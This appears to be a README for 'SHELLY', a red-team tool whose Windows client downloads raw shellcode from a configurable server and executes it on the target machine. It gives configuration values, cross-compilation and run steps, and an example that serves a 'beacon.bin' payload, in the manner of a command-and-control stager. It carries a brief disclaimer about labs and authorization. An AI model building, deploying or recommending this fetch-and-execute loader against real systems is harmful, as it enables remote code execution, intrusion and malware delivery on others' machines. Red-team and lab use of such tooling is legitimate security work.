SHELLY is a minimal client-server utility to remotely fetch and serve raw shellcode files over the network.
shelly-server: Listens for incoming client requests and sends raw shellcode files on demand.shelly.exe: A Windows-compatible client (built with MinGW-w64) that requests a specified shellcode file from the server.
SHELLY/
├── src/
│ └── shelly.cpp # Client source (edit before build)
│ └── shelly-server.py # Server source
├── shelly-server # Shellcode server (built locally)
├── bin/
│ └── shelly.exe # Windows client binary (built with MinGW-w64)
├── Makefile
└── README.md
- Linux system with:
makex86_64-w64-mingw32-g++(MinGW-w64 for cross-compilation)
Before building shelly.exe, you must edit the following in src/shelly.cpp:
SERVER_IP: The IP address of the host runningshelly-serverREMOTE_FILE: The name of the shellcode file to request from the server
// Example inside src/shelly.cpp
#define SERVER_IP "192.168.1.10"
#define REMOTE_FILE "payload.bin"make # General Instructions before using 'make build'
make build # Cross-compiles src/shelly.cpp into bin/shelly.exe and creates a bash script for calling 'src/shelly-server.py'The resulting Windows binary will be located at bin/shelly.exe.
Start the server on the machine that holds your shellcode files:
./shelly-server- The server looks for requested files in its current working directory.
- Example: if
REMOTE_FILEis"payload.bin", placepayload.binin the same directory asshelly-server.
On the Windows target, run:
shelly.exeThis will:
- Connect to
SERVER_IP - Request
REMOTE_FILE - Receive and execute the raw shellcode.
- Intended for controlled environments (e.g., red team labs or internal C2-like testing).
- Always verify legality and authorization before use in real-world networks.
- Place
beacon.binin the same folder asshelly-server - Set
REMOTE_FILEto"beacon.bin"insrc/shelly.cpp - Set
SERVER_IPto your Linux host's IP - Build with
make && make build - Start the server
- Run
bin/shelly.exeon the client
- If you see linker errors like
__gxx_personality_sj0or_Unwind_SjLj_*, ensure you’re compiling withx86_64-w64-mingw32-g++, notgcc.
MIT or similar open-source license. Use responsibly.